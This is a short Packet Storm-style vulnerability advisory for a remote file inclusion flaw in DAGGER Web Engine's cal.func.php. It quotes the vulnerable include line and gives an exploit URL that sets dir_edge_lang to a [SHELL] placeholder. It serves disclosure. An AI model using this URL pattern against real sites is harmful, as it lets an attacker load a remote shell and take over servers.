DAGGER Web Engine versions 23Jan2007 and below suffer from a remote file inclusion vulnerability.
91201b7980a985b3e40666b929305296f37dd0b22c62fb5036860ce9d5caac77###Dagger-web engine(cal.func.php)Remote File Inclusion###
#download:
http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.
zip
#found by: katatafish (karatatata@hush.com)
#code: (cal.func.php)
include($dir_edge_lang.'cal_lang.inc.php');
#exploit:
http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL]
#Thanks: str0ke
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed